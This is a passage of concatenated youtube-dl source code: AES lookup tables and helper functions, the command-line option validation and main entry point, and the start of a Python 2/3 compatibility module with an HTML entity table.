        0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
        0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
        0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
        0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
        0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
        0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16)
SBOX_INV = (0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
            0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
            0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
            0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
            0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
            0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
            0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
            0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
            0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
            0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
            0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
            0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
            0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
            0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
            0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
            0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d)
MIX_COLUMN_MATRIX = ((0x2, 0x3, 0x1, 0x1),
                     (0x1, 0x2, 0x3, 0x1),
                     (0x1, 0x1, 0x2, 0x3),
                     (0x3, 0x1, 0x1, 0x2))
MIX_COLUMN_MATRIX_INV = ((0xE, 0xB, 0xD, 0x9),
                         (0x9, 0xE, 0xB, 0xD),
                         (0xD, 0x9, 0xE, 0xB),
                         (0xB, 0xD, 0x9, 0xE))
RIJNDAEL_EXP_TABLE = (0x01, 0x03, 0x05, 0x0F, 0x11, 0x33, 0x55, 0xFF, 0x1A, 0x2E, 0x72, 0x96, 0xA1, 0xF8, 0x13, 0x35,
                      0x5F, 0xE1, 0x38, 0x48, 0xD8, 0x73, 0x95, 0xA4, 0xF7, 0x02, 0x06, 0x0A, 0x1E, 0x22, 0x66, 0xAA,
                      0xE5, 0x34, 0x5C, 0xE4, 0x37, 0x59, 0xEB, 0x26, 0x6A, 0xBE, 0xD9, 0x70, 0x90, 0xAB, 0xE6, 0x31,
                      0x53, 0xF5, 0x04, 0x0C, 0x14, 0x3C, 0x44, 0xCC, 0x4F, 0xD1, 0x68, 0xB8, 0xD3, 0x6E, 0xB2, 0xCD,
                      0x4C, 0xD4, 0x67, 0xA9, 0xE0, 0x3B, 0x4D, 0xD7, 0x62, 0xA6, 0xF1, 0x08, 0x18, 0x28, 0x78, 0x88,
                      0x83, 0x9E, 0xB9, 0xD0, 0x6B, 0xBD, 0xDC, 0x7F, 0x81, 0x98, 0xB3, 0xCE, 0x49, 0xDB, 0x76, 0x9A,
                      0xB5, 0xC4, 0x57, 0xF9, 0x10, 0x30, 0x50, 0xF0, 0x0B, 0x1D, 0x27, 0x69, 0xBB, 0xD6, 0x61, 0xA3,
                      0xFE, 0x19, 0x2B, 0x7D, 0x87, 0x92, 0xAD, 0xEC, 0x2F, 0x71, 0x93, 0xAE, 0xE9, 0x20, 0x60, 0xA0,
                      0xFB, 0x16, 0x3A, 0x4E, 0xD2, 0x6D, 0xB7, 0xC2, 0x5D, 0xE7, 0x32, 0x56, 0xFA, 0x15, 0x3F, 0x41,
                      0xC3, 0x5E, 0xE2, 0x3D, 0x47, 0xC9, 0x40, 0xC0, 0x5B, 0xED, 0x2C, 0x74, 0x9C, 0xBF, 0xDA, 0x75,
                      0x9F, 0xBA, 0xD5, 0x64, 0xAC, 0xEF, 0x2A, 0x7E, 0x82, 0x9D, 0xBC, 0xDF, 0x7A, 0x8E, 0x89, 0x80,
                      0x9B, 0xB6, 0xC1, 0x58, 0xE8, 0x23, 0x65, 0xAF, 0xEA, 0x25, 0x6F, 0xB1, 0xC8, 0x43, 0xC5, 0x54,
                      0xFC, 0x1F, 0x21, 0x63, 0xA5, 0xF4, 0x07, 0x09, 0x1B, 0x2D, 0x77, 0x99, 0xB0, 0xCB, 0x46, 0xCA,
                      0x45, 0xCF, 0x4A, 0xDE, 0x79, 0x8B, 0x86, 0x91, 0xA8, 0xE3, 0x3E, 0x42, 0xC6, 0x51, 0xF3, 0x0E,
                      0x12, 0x36, 0x5A, 0xEE, 0x29, 0x7B, 0x8D, 0x8C, 0x8F, 0x8A, 0x85, 0x94, 0xA7, 0xF2, 0x0D, 0x17,
                      0x39, 0x4B, 0xDD, 0x7C, 0x84, 0x97, 0xA2, 0xFD, 0x1C, 0x24, 0x6C, 0xB4, 0xC7, 0x52, 0xF6, 0x01)
RIJNDAEL_LOG_TABLE = (0x00, 0x00, 0x19, 0x01, 0x32, 0x02, 0x1a, 0xc6, 0x4b, 0xc7, 0x1b, 0x68, 0x33, 0xee, 0xdf, 0x03,
                      0x64, 0x04, 0xe0, 0x0e, 0x34, 0x8d, 0x81, 0xef, 0x4c, 0x71, 0x08, 0xc8, 0xf8, 0x69, 0x1c, 0xc1,
                      0x7d, 0xc2, 0x1d, 0xb5, 0xf9, 0xb9, 0x27, 0x6a, 0x4d, 0xe4, 0xa6, 0x72, 0x9a, 0xc9, 0x09, 0x78,
                      0x65, 0x2f, 0x8a, 0x05, 0x21, 0x0f, 0xe1, 0x24, 0x12, 0xf0, 0x82, 0x45, 0x35, 0x93, 0xda, 0x8e,
                      0x96, 0x8f, 0xdb, 0xbd, 0x36, 0xd0, 0xce, 0x94, 0x13, 0x5c, 0xd2, 0xf1, 0x40, 0x46, 0x83, 0x38,
                      0x66, 0xdd, 0xfd, 0x30, 0xbf, 0x06, 0x8b, 0x62, 0xb3, 0x25, 0xe2, 0x98, 0x22, 0x88, 0x91, 0x10,
                      0x7e, 0x6e, 0x48, 0xc3, 0xa3, 0xb6, 0x1e, 0x42, 0x3a, 0x6b, 0x28, 0x54, 0xfa, 0x85, 0x3d, 0xba,
                      0x2b, 0x79, 0x0a, 0x15, 0x9b, 0x9f, 0x5e, 0xca, 0x4e, 0xd4, 0xac, 0xe5, 0xf3, 0x73, 0xa7, 0x57,
                      0xaf, 0x58, 0xa8, 0x50, 0xf4, 0xea, 0xd6, 0x74, 0x4f, 0xae, 0xe9, 0xd5, 0xe7, 0xe6, 0xad, 0xe8,
                      0x2c, 0xd7, 0x75, 0x7a, 0xeb, 0x16, 0x0b, 0xf5, 0x59, 0xcb, 0x5f, 0xb0, 0x9c, 0xa9, 0x51, 0xa0,
                      0x7f, 0x0c, 0xf6, 0x6f, 0x17, 0xc4, 0x49, 0xec, 0xd8, 0x43, 0x1f, 0x2d, 0xa4, 0x76, 0x7b, 0xb7,
                      0xcc, 0xbb, 0x3e, 0x5a, 0xfb, 0x60, 0xb1, 0x86, 0x3b, 0x52, 0xa1, 0x6c, 0xaa, 0x55, 0x29, 0x9d,
                      0x97, 0xb2, 0x87, 0x90, 0x61, 0xbe, 0xdc, 0xfc, 0xbc, 0x95, 0xcf, 0xcd, 0x37, 0x3f, 0x5b, 0xd1,
                      0x53, 0x39, 0x84, 0x3c, 0x41, 0xa2, 0x6d, 0x47, 0x14, 0x2a, 0x9e, 0x5d, 0x56, 0xf2, 0xd3, 0xab,
                      0x44, 0x11, 0x92, 0xd9, 0x23, 0x20, 0x2e, 0x89, 0xb4, 0x7c, 0xb8, 0x26, 0x77, 0x99, 0xe3, 0xa5,
                      0x67, 0x4a, 0xed, 0xde, 0xc5, 0x31, 0xfe, 0x18, 0x0d, 0x63, 0x8c, 0x80, 0xc0, 0xf7, 0x70, 0x07)


def sub_bytes(data):
    return [SBOX[x] for x in data]


def sub_bytes_inv(data):
    return [SBOX_INV[x] for x in data]


def rotate(data):
    return data[1:] + [data[0]]


def key_schedule_core(data, rcon_iteration):
    data = rotate(data)
    data = sub_bytes(data)
    data[0] = data[0] ^ RCON[rcon_iteration]

    return data


def xor(data1, data2):
    return [x ^ y for x, y in zip(data1, data2)]


def rijndael_mul(a, b):
    if(a == 0 or b == 0):
        return 0
    return RIJNDAEL_EXP_TABLE[(RIJNDAEL_LOG_TABLE[a] + RIJNDAEL_LOG_TABLE[b]) % 0xFF]


def mix_column(data, matrix):
    data_mixed = []
    for row in range(4):
        mixed = 0
        for column in range(4):
            # xor is (+) and (-)
            mixed ^= rijndael_mul(data[column], matrix[row][column])
        data_mixed.append(mixed)
    return data_mixed


def mix_columns(data, matrix=MIX_COLUMN_MATRIX):
    data_mixed = []
    for i in range(4):
        column = data[i * 4: (i + 1) * 4]
        data_mixed += mix_column(column, matrix)
    return data_mixed


def mix_columns_inv(data):
    return mix_columns(data, MIX_COLUMN_MATRIX_INV)


def shift_rows(data):
    data_shifted = []
    for column in range(4):
        for row in range(4):
            data_shifted.append(data[((column + row) & 0b11) * 4 + row])
    return data_shifted


def shift_rows_inv(data):
    data_shifted = []
    for column in range(4):
        for row in range(4):
            data_shifted.append(data[((column - row) & 0b11) * 4 + row])
    return data_shifted


def inc(data):
    data = data[:]  # copy
    for i in range(len(data) - 1, -1, -1):
        if data[i] == 255:
            data[i] = 0
        else:
            data[i] = data[i] + 1
            break
    return data

__all__ = ['aes_encrypt', 'key_expansion', 'aes_ctr_decrypt', 'aes_cbc_decrypt', 'aes_decrypt_text']






#!/usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import unicode_literals

__license__ = 'Public Domain'

import codecs
import io
import os
import random
import sys


from .options import (
    parseOpts,
)
from .compat import (
    compat_expanduser,
    compat_getpass,
    compat_shlex_split,
    workaround_optparse_bug9161,
)
from .utils import (
    DateRange,
    decodeOption,
    DEFAULT_OUTTMPL,
    DownloadError,
    match_filter_func,
    MaxDownloadsReached,
    preferredencoding,
    read_batch_urls,
    SameFileError,
    setproctitle,
    std_headers,
    write_string,
)
from .update import update_self
from .downloader import (
    FileDownloader,
)
from .extractor import gen_extractors, list_extractors
from .YoutubeDL import YoutubeDL


def _real_main(argv=None):
    # Compatibility fixes for Windows
    if sys.platform == 'win32':
        # https://github.com/rg3/youtube-dl/issues/820
        codecs.register(lambda name: codecs.lookup('utf-8') if name == 'cp65001' else None)

    workaround_optparse_bug9161()

    setproctitle('youtube-dl')

    parser, opts, args = parseOpts(argv)

    # Set user agent
    if opts.user_agent is not None:
        std_headers['User-Agent'] = opts.user_agent

    # Set referer
    if opts.referer is not None:
        std_headers['Referer'] = opts.referer

    # Custom HTTP headers
    if opts.headers is not None:
        for h in opts.headers:
            if ':' not in h:
                parser.error('wrong header formatting, it should be key:value, not "%s"' % h)
            key, value = h.split(':', 1)
            if opts.verbose:
                write_string('[debug] Adding header from command line option %s:%s\n' % (key, value))
            std_headers[key] = value

    # Dump user agent
    if opts.dump_user_agent:
        write_string(std_headers['User-Agent'] + '\n', out=sys.stdout)
        sys.exit(0)

    # Batch file verification
    batch_urls = []
    if opts.batchfile is not None:
        try:
            if opts.batchfile == '-':
                batchfd = sys.stdin
            else:
                batchfd = io.open(
                    compat_expanduser(opts.batchfile),
                    'r', encoding='utf-8', errors='ignore')
            batch_urls = read_batch_urls(batchfd)
            if opts.verbose:
                write_string('[debug] Batch file urls: ' + repr(batch_urls) + '\n')
        except IOError:
            sys.exit('ERROR: batch file could not be read')
    all_urls = batch_urls + args
    all_urls = [url.strip() for url in all_urls]
    _enc = preferredencoding()
    all_urls = [url.decode(_enc, 'ignore') if isinstance(url, bytes) else url for url in all_urls]

    if opts.list_extractors:
        for ie in list_extractors(opts.age_limit):
            write_string(ie.IE_NAME + (' (CURRENTLY BROKEN)' if not ie._WORKING else '') + '\n', out=sys.stdout)
            matchedUrls = [url for url in all_urls if ie.suitable(url)]
            for mu in matchedUrls:
                write_string('  ' + mu + '\n', out=sys.stdout)
        sys.exit(0)
    if opts.list_extractor_descriptions:
        for ie in list_extractors(opts.age_limit):
            if not ie._WORKING:
                continue
            desc = getattr(ie, 'IE_DESC', ie.IE_NAME)
            if desc is False:
                continue
            if hasattr(ie, 'SEARCH_KEY'):
                _SEARCHES = ('cute kittens', 'slithering pythons', 'falling cat', 'angry poodle', 'purple fish', 'running tortoise', 'sleeping bunny', 'burping cow')
                _COUNTS = ('', '5', '10', 'all')
                desc += ' (Example: "%s%s:%s" )' % (ie.SEARCH_KEY, random.choice(_COUNTS), random.choice(_SEARCHES))
            write_string(desc + '\n', out=sys.stdout)
        sys.exit(0)

    # Conflicting, missing and erroneous options
    if opts.usenetrc and (opts.username is not None or opts.password is not None):
        parser.error('using .netrc conflicts with giving username/password')
    if opts.password is not None and opts.username is None:
        parser.error('account username missing\n')
    if opts.outtmpl is not None and (opts.usetitle or opts.autonumber or opts.useid):
        parser.error('using output template conflicts with using title, video ID or auto number')
    if opts.usetitle and opts.useid:
        parser.error('using title conflicts with using video ID')
    if opts.username is not None and opts.password is None:
        opts.password = compat_getpass('Type account password and press [Return]: ')
    if opts.ratelimit is not None:
        numeric_limit = FileDownloader.parse_bytes(opts.ratelimit)
        if numeric_limit is None:
            parser.error('invalid rate limit specified')
        opts.ratelimit = numeric_limit
    if opts.min_filesize is not None:
        numeric_limit = FileDownloader.parse_bytes(opts.min_filesize)
        if numeric_limit is None:
            parser.error('invalid min_filesize specified')
        opts.min_filesize = numeric_limit
    if opts.max_filesize is not None:
        numeric_limit = FileDownloader.parse_bytes(opts.max_filesize)
        if numeric_limit is None:
            parser.error('invalid max_filesize specified')
        opts.max_filesize = numeric_limit
    if opts.sleep_interval is not None:
        if opts.sleep_interval < 0:
            parser.error('sleep interval must be positive or 0')
    if opts.max_sleep_interval is not None:
        if opts.max_sleep_interval < 0:
            parser.error('max sleep interval must be positive or 0')
        if opts.max_sleep_interval < opts.sleep_interval:
            parser.error('max sleep interval must be greater than or equal to min sleep interval')
    else:
        opts.max_sleep_interval = opts.sleep_interval

    def parse_retries(retries):
        if retries in ('inf', 'infinite'):
            parsed_retries = float('inf')
        else:
            try:
                parsed_retries = int(retries)
            except (TypeError, ValueError):
                parser.error('invalid retry count specified')
        return parsed_retries
    if opts.retries is not None:
        opts.retries = parse_retries(opts.retries)
    if opts.fragment_retries is not None:
        opts.fragment_retries = parse_retries(opts.fragment_retries)
    if opts.buffersize is not None:
        numeric_buffersize = FileDownloader.parse_bytes(opts.buffersize)
        if numeric_buffersize is None:
            parser.error('invalid buffer size specified')
        opts.buffersize = numeric_buffersize
    if opts.playliststart <= 0:
        raise ValueError('Playlist start must be positive')
    if opts.playlistend not in (-1, None) and opts.playlistend < opts.playliststart:
        raise ValueError('Playlist end must be greater than playlist start')
    if opts.extractaudio:
        if opts.audioformat not in ['best', 'aac', 'mp3', 'm4a', 'opus', 'vorbis', 'wav']:
            parser.error('invalid audio format specified')
    if opts.audioquality:
        opts.audioquality = opts.audioquality.strip('k').strip('K')
        if not opts.audioquality.isdigit():
            parser.error('invalid audio quality specified')
    if opts.recodevideo is not None:
        if opts.recodevideo not in ['mp4', 'flv', 'webm', 'ogg', 'mkv', 'avi']:
            parser.error('invalid video recode format specified')
    if opts.convertsubtitles is not None:
        if opts.convertsubtitles not in ['srt', 'vtt', 'ass']:
            parser.error('invalid subtitle format specified')

    if opts.date is not None:
        date = DateRange.day(opts.date)
    else:
        date = DateRange(opts.dateafter, opts.datebefore)

    # Do not download videos when there are audio-only formats
    if opts.extractaudio and not opts.keepvideo and opts.format is None:
        opts.format = 'bestaudio/best'

    # --all-sub automatically sets --write-sub if --write-auto-sub is not given
    # this was the old behaviour if only --all-sub was given.
    if opts.allsubtitles and not opts.writeautomaticsub:
        opts.writesubtitles = True

    outtmpl = ((opts.outtmpl is not None and opts.outtmpl) or
               (opts.format == '-1' and opts.usetitle and '%(title)s-%(id)s-%(format)s.%(ext)s') or
               (opts.format == '-1' and '%(id)s-%(format)s.%(ext)s') or
               (opts.usetitle and opts.autonumber and '%(autonumber)s-%(title)s-%(id)s.%(ext)s') or
               (opts.usetitle and '%(title)s-%(id)s.%(ext)s') or
               (opts.useid and '%(id)s.%(ext)s') or
               (opts.autonumber and '%(autonumber)s-%(id)s.%(ext)s') or
               DEFAULT_OUTTMPL)
    if not os.path.splitext(outtmpl)[1] and opts.extractaudio:
        parser.error('Cannot download a video and extract audio into the same'
                     ' file! Use "{0}.%(ext)s" instead of "{0}" as the output'
                     ' template'.format(outtmpl))

    any_getting = opts.geturl or opts.gettitle or opts.getid or opts.getthumbnail or opts.getdescription or opts.getfilename or opts.getformat or opts.getduration or opts.dumpjson or opts.dump_single_json
    any_printing = opts.print_json
    download_archive_fn = compat_expanduser(opts.download_archive) if opts.download_archive is not None else opts.download_archive

    # PostProcessors
    postprocessors = []
    # Add the metadata pp first, the other pps will copy it
    if opts.metafromtitle:
        postprocessors.append({
            'key': 'MetadataFromTitle',
            'titleformat': opts.metafromtitle
        })
    if opts.addmetadata:
        postprocessors.append({'key': 'FFmpegMetadata'})
    if opts.extractaudio:
        postprocessors.append({
            'key': 'FFmpegExtractAudio',
            'preferredcodec': opts.audioformat,
            'preferredquality': opts.audioquality,
            'nopostoverwrites': opts.nopostoverwrites,
        })
    if opts.recodevideo:
        postprocessors.append({
            'key': 'FFmpegVideoConvertor',
            'preferedformat': opts.recodevideo,
        })
    if opts.convertsubtitles:
        postprocessors.append({
            'key': 'FFmpegSubtitlesConvertor',
            'format': opts.convertsubtitles,
        })
    if opts.embedsubtitles:
        postprocessors.append({
            'key': 'FFmpegEmbedSubtitle',
        })
    if opts.xattrs:
        postprocessors.append({'key': 'XAttrMetadata'})
    if opts.embedthumbnail:
        already_have_thumbnail = opts.writethumbnail or opts.write_all_thumbnails
        postprocessors.append({
            'key': 'EmbedThumbnail',
            'already_have_thumbnail': already_have_thumbnail
        })
        if not already_have_thumbnail:
            opts.writethumbnail = True
    # Please keep ExecAfterDownload towards the bottom as it allows the user to modify the final file in any way.
    # So if the user is able to remove the file before your postprocessor runs it might cause a few problems.
    if opts.exec_cmd:
        postprocessors.append({
            'key': 'ExecAfterDownload',
            'exec_cmd': opts.exec_cmd,
        })
    if opts.xattr_set_filesize:
        try:
            import xattr
            xattr  # Confuse flake8
        except ImportError:
            parser.error('setting filesize xattr requested but python-xattr is not available')
    external_downloader_args = None
    if opts.external_downloader_args:
        external_downloader_args = compat_shlex_split(opts.external_downloader_args)
    postprocessor_args = None
    if opts.postprocessor_args:
        postprocessor_args = compat_shlex_split(opts.postprocessor_args)
    match_filter = (
        None if opts.match_filter is None
        else match_filter_func(opts.match_filter))

    ydl_opts = {
        'usenetrc': opts.usenetrc,
        'username': opts.username,
        'password': opts.password,
        'twofactor': opts.twofactor,
        'videopassword': opts.videopassword,
        'quiet': (opts.quiet or any_getting or any_printing),
        'no_warnings': opts.no_warnings,
        'forceurl': opts.geturl,
        'forcetitle': opts.gettitle,
        'forceid': opts.getid,
        'forcethumbnail': opts.getthumbnail,
        'forcedescription': opts.getdescription,
        'forceduration': opts.getduration,
        'forcefilename': opts.getfilename,
        'forceformat': opts.getformat,
        'forcejson': opts.dumpjson or opts.print_json,
        'dump_single_json': opts.dump_single_json,
        'simulate': opts.simulate or any_getting,
        'skip_download': opts.skip_download,
        'format': opts.format,
        'listformats': opts.listformats,
        'outtmpl': outtmpl,
        'autonumber_size': opts.autonumber_size,
        'restrictfilenames': opts.restrictfilenames,
        'ignoreerrors': opts.ignoreerrors,
        'force_generic_extractor': opts.force_generic_extractor,
        'ratelimit': opts.ratelimit,
        'nooverwrites': opts.nooverwrites,
        'retries': opts.retries,
        'fragment_retries': opts.fragment_retries,
        'buffersize': opts.buffersize,
        'noresizebuffer': opts.noresizebuffer,
        'continuedl': opts.continue_dl,
        'noprogress': opts.noprogress,
        'progress_with_newline': opts.progress_with_newline,
        'playliststart': opts.playliststart,
        'playlistend': opts.playlistend,
        'playlistreverse': opts.playlist_reverse,
        'noplaylist': opts.noplaylist,
        'logtostderr': opts.outtmpl == '-',
        'consoletitle': opts.consoletitle,
        'nopart': opts.nopart,
        'updatetime': opts.updatetime,
        'writedescription': opts.writedescription,
        'writeannotations': opts.writeannotations,
        'writeinfojson': opts.writeinfojson,
        'writethumbnail': opts.writethumbnail,
        'write_all_thumbnails': opts.write_all_thumbnails,
        'writesubtitles': opts.writesubtitles,
        'writeautomaticsub': opts.writeautomaticsub,
        'allsubtitles': opts.allsubtitles,
        'listsubtitles': opts.listsubtitles,
        'subtitlesformat': opts.subtitlesformat,
        'subtitleslangs': opts.subtitleslangs,
        'matchtitle': decodeOption(opts.matchtitle),
        'rejecttitle': decodeOption(opts.rejecttitle),
        'max_downloads': opts.max_downloads,
        'prefer_free_formats': opts.prefer_free_formats,
        'verbose': opts.verbose,
        'dump_intermediate_pages': opts.dump_intermediate_pages,
        'write_pages': opts.write_pages,
        'test': opts.test,
        'keepvideo': opts.keepvideo,
        'min_filesize': opts.min_filesize,
        'max_filesize': opts.max_filesize,
        'min_views': opts.min_views,
        'max_views': opts.max_views,
        'daterange': date,
        'cachedir': opts.cachedir,
        'youtube_print_sig_code': opts.youtube_print_sig_code,
        'age_limit': opts.age_limit,
        'download_archive': download_archive_fn,
        'cookiefile': opts.cookiefile,
        'nocheckcertificate': opts.no_check_certificate,
        'prefer_insecure': opts.prefer_insecure,
        'proxy': opts.proxy,
        'socket_timeout': opts.socket_timeout,
        'bidi_workaround': opts.bidi_workaround,
        'debug_printtraffic': opts.debug_printtraffic,
        'prefer_ffmpeg': opts.prefer_ffmpeg,
        'include_ads': opts.include_ads,
        'default_search': opts.default_search,
        'youtube_include_dash_manifest': opts.youtube_include_dash_manifest,
        'encoding': opts.encoding,
        'extract_flat': opts.extract_flat,
        'mark_watched': opts.mark_watched,
        'merge_output_format': opts.merge_output_format,
        'postprocessors': postprocessors,
        'fixup': opts.fixup,
        'source_address': opts.source_address,
        'call_home': opts.call_home,
        'sleep_interval': opts.sleep_interval,
        'max_sleep_interval': opts.max_sleep_interval,
        'external_downloader': opts.external_downloader,
        'list_thumbnails': opts.list_thumbnails,
        'playlist_items': opts.playlist_items,
        'xattr_set_filesize': opts.xattr_set_filesize,
        'match_filter': match_filter,
        'no_color': opts.no_color,
        'ffmpeg_location': opts.ffmpeg_location,
        'hls_prefer_native': opts.hls_prefer_native,
        'hls_use_mpegts': opts.hls_use_mpegts,
        'external_downloader_args': external_downloader_args,
        'postprocessor_args': postprocessor_args,
        'cn_verification_proxy': opts.cn_verification_proxy,
        'geo_verification_proxy': opts.geo_verification_proxy,

    }

    with YoutubeDL(ydl_opts) as ydl:
        # Update version
        if opts.update_self:
            update_self(ydl.to_screen, opts.verbose, ydl._opener)

        # Remove cache dir
        if opts.rm_cachedir:
            ydl.cache.remove()

        # Maybe do nothing
        if (len(all_urls) < 1) and (opts.load_info_filename is None):
            if opts.update_self or opts.rm_cachedir:
                sys.exit()

            ydl.warn_if_short_id(sys.argv[1:] if argv is None else argv)
            parser.error(
                'You must provide at least one URL.\n'
                'Type youtube-dl --help to see a list of all options.')

        try:
            if opts.load_info_filename is not None:
                retcode = ydl.download_with_info_file(compat_expanduser(opts.load_info_filename))
            else:
                retcode = ydl.download(all_urls)
        except MaxDownloadsReached:
            ydl.to_screen('--max-download limit reached, aborting.')
            retcode = 101

    sys.exit(retcode)


def main(argv=None):
    try:
        _real_main(argv)
    except DownloadError:
        sys.exit(1)
    except SameFileError:
        sys.exit('ERROR: fixed output name but more than one file to download')
    except KeyboardInterrupt:
        sys.exit('\nERROR: Interrupted by user')

__all__ = ['main', 'YoutubeDL', 'gen_extractors', 'list_extractors']






# coding: utf-8
from __future__ import unicode_literals

import binascii
import collections
import email
import getpass
import io
import optparse
import os
import re
import shlex
import shutil
import socket
import struct
import subprocess
import sys
import itertools
import xml.etree.ElementTree


try:
    import urllib.request as compat_urllib_request
except ImportError:  # Python 2
    import urllib2 as compat_urllib_request

try:
    import urllib.error as compat_urllib_error
except ImportError:  # Python 2
    import urllib2 as compat_urllib_error

try:
    import urllib.parse as compat_urllib_parse
except ImportError:  # Python 2
    import urllib as compat_urllib_parse

try:
    from urllib.parse import urlparse as compat_urllib_parse_urlparse
except ImportError:  # Python 2
    from urlparse import urlparse as compat_urllib_parse_urlparse

try:
    import urllib.parse as compat_urlparse
except ImportError:  # Python 2
    import urlparse as compat_urlparse

try:
    import urllib.response as compat_urllib_response
except ImportError:  # Python 2
    import urllib as compat_urllib_response

try:
    import http.cookiejar as compat_cookiejar
except ImportError:  # Python 2
    import cookielib as compat_cookiejar

try:
    import http.cookies as compat_cookies
except ImportError:  # Python 2
    import Cookie as compat_cookies

try:
    import html.entities as compat_html_entities
except ImportError:  # Python 2
    import htmlentitydefs as compat_html_entities

try:  # Python >= 3.3
    compat_html_entities_html5 = compat_html_entities.html5
except AttributeError:
    # Copied from CPython 3.5.1 html/entities.py
    compat_html_entities_html5 = {
        'Aacute': '\xc1',
        'aacute': '\xe1',
        'Aacute;': '\xc1',
        'aacute;': '\xe1',
        'Abreve;': '\u0102',
        'abreve;': '\u0103',
        'ac;': '\u223e',
        'acd;': '\u223f',
        'acE;': '\u223e\u0333',
        'Acirc': '\xc2',
        'acirc': '\xe2',
        'Acirc;': '\xc2',
        'acirc;': '\xe2',
        'acute': '\xb4',
        'acute;': '\xb4',
        'Acy;': '\u0410',
        'acy;': '\u0430',
        'AElig': '\xc6',
        'aelig': '\xe6',
        'AElig;': '\xc6',
        'aelig;': '\xe6',
        'af;': '\u2061',
        'Afr;': '\U0001d504',
        'afr;': '\U0001d51e',
        'Agrave': '\xc0',
        'agrave': '\xe0',
        'Agrave;': '\xc0',
        'agrave;': '\xe0',
        'alefsym;': '\u2135',
        'aleph;': '\u2135',
        'Alpha;': '\u0391',
        'alpha;': '\u03b1',
        'Amacr;': '\u0100',
        'amacr;': '\u0101',
        'amalg;': '\u2a3f',
        'AMP': '&',
        'amp': '&',
        'AMP;': '&',
        'amp;': '&',
        'And;': '\u2a53',
        'and;': '\u2227',
        'andand;': '\u2a55',
        'andd;': '\u2a5c',
        'andslope;': '\u2a58',
        'andv;': '\u2a5a',
        'ang;': '\u2220',
        'ange;': '\u29a4',
        'angle;': '\u2220',
        'angmsd;': '\u2221',
        'angmsdaa;': '\u29a8',
        'angmsdab;': '\u29a9',
        'angmsdac;': '\u29aa',
        'angmsdad;': '\u29ab',
        'angmsdae;': '\u29ac',
        'angmsdaf;': '\u29ad',
        'angmsdag;': '\u29ae',
        'angmsdah;': '\u29af',
        'angrt;': '\u221f',
        'angrtvb;': '\u22be',
        'angrtvbd;': '\u299d',
        'angsph;': '\u2222',
        'angst;': '\xc5',
        'angzarr;': '\u237c',
        'Aogon;': '\u0104',
        'aogon;': '\u0105',
        'Aopf;': '\U0001d538',
        'aopf;': '\U0001d552',
        'ap;': '\u2248',
        'apacir;': '\u2a6f',
        'apE;': '\u2a70',
        'ape;': '\u224a',
        'apid;': '\u224b',
        'apos;': "'",
        'ApplyFunction;': '\u2061',
        'approx;': '\u2248',
        'approxeq;': '\u224a',
        'Aring': '\xc5',
        'aring': '\xe5',
        'Aring;': '\xc5',
        'aring;': '\xe5',
        'Ascr;': '\U0001d49c',
        'ascr;': '\U0001d4b6',
        'Assign;': '\u2254',
        'ast;': '*',
